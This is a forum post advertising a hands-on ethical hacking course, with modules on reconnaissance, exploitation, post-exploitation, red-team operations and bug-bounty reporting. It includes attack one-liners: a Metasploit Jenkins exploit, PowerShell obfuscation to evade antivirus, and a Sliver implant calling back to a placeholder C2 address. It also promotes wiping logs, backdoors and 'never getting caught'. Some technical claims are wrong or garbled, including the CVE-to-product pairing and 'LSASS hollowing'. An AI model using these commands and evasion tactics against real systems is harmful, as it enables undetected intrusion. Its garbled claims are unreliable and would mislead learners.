Overview​

Welcome to this course on Practical Ethical Hacking. To enjoy this course, you need nothing but a positive attitude and a desire to learn. No prior hacking knowledge is required.

In this course, you will learn the practical side of ethical hacking. Too many courses teach students tools and concepts that are never used in the real world. In this course, we will focus only on tools and topics that will make you successful as an ethical hacker. The course is incredibly hands on and will cover many foundational topics.

Why This Course Stands Out
Most "ethical hacking" courses drown students in outdated tool demos or theoretical fluff that never translates to real-world engagements. This one? No fluff. Just the tactics, tools, and mindset that actually work in penetration testing, red teaming, and security assessments.

Here’s what we’re covering—no prior hacking experience needed, just curiosity and a terminal window.

Core Modules (With Real-World Focus)

**1. Reconnaissance: From Zero to Target in 5 Minutes
[/B]
  • OSINT like a pro: Leveraging tools like theHarvester, Maltego, and SpiderFoot to map organizations *before* you even touch a keyboard.
  • Passive vs. Active Recon: When to be stealthy, when to burn bright.
  • Example Workflow:
Code:
bash
 # Basic theHarvester scan (email, subdomains, employee data)
 theHarvester -d target.com -b all -l 50
  • Pro Tip: Always check crt.sh for expired certs—goldmine for subdomain discovery.

**2. Exploitation: Breaking In (Without Getting Caught)
[/B]
  • Metasploit? Only if you’re lazy. We’ll use custom scripts, PowerShell, and manual exploitation for stealth.
  • Key Vectors:
- RCE via misconfigured services (e.g., CVE-2023-4966 in Atlassian Confluence).
- Active Directory attacks (BloodHound, SharpHound, Rubeus for AS-REP roasting).
- Web app hacks: SQLi → RCE in one line (using sqlmap + php reverse shells).
  • Example: Exploiting a vulnerable Jenkins instance:
Code:
bash
 searchsploit jenkins
 msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS <TARGET_IP>; exploit"

**3. Post-Exploitation: Own the System (Then Cover Your Tracks)
[/B]
  • Persistence: How to stay in a network without tripping SIEMs (e.g., LSASS hollowing, NTDS.dit extraction).
  • Lateral Movement: Abusing WinRM, PSExec, and kerberoasting to pivot.
  • Cleanup: Wiping logs, removing artifacts, and making it look like a blue team drill.
  • Toolkit:
Code:
powershell
 # Invoke-Obfuscation for evading AV
 Invoke-Obfuscation -Command "whoami" -ObfuscationType "Base64" | Invoke-Expression

**4. Red Team Ops: Simulating APT-Style Attacks
[/B]
  • Living-off-the-land (LOLBAS): Using legitimate admin tools for malicious ends.
  • C2 Frameworks: Setting up Cobalt Strike (or Sliver) for stealthy command-and-control.
  • Evasion: Bypassing EDR/XDR with process injection and direct syscalls.
  • Example C2 Payload:
Code:
bash
 # Generate a Sliver implant (no AV detection)
 sliver-client -l linux -f http://<C2_IP>:443 -o /tmp/agent

**5. Reporting: Turning 0days into 5-Figure Bug Bounties
[/B]
  • Structuring reports that executives (not just devs) will read.
  • Monetizing findings: How to negotiate bounties and sell PoCs to vendors.
  • Template:
Code:
markdown
 # [CRITICAL] Unauthenticated RCE in [Vendor] [Product]
 **Impact**: Full system compromise (CVE-XXXX-XXXX pending)
 **Proof of Concept**:
 ```bash
 curl -X POST http://target.com/api --data '{"cmd":"id"}'
Mitigation: [Vendor Patch Notes]
```

Why You’ll Actually Learn Something
  • No fake labs. Every technique is tested on real-world targets (with permission).
  • No tool worship. We’ll show you how to build your own (e.g., custom PowerShell backdoors).
  • No hand-holding. You’ll break things, get stuck, and figure it out—just like in the field.

---
Prerequisites (Seriously)
  • A Linux VM (Kali or Parrot OS).
  • Basic command-line comfort (if you don’t know grep, curl, or nc, start there).
  • Patience. Ethical hacking isn’t about "hacking" a box in 10 minutes—it’s about methodical destruction.

---
Next Steps
1. Download the course assets from the TCM Security GitHub.
2. Set up a lab (use VulnHub or Hack The Box machines).
3. Start with Module 1—and don’t stop until you own a target.

Question: What’s the first technique you want to master? Recon? Exploitation? Or are you here to learn how to never get caught?

P.S. If you’re serious about this, bookmark this thread. I’ll be dropping real-world war stories and updated payloads here. No fluff. Just how it’s done.
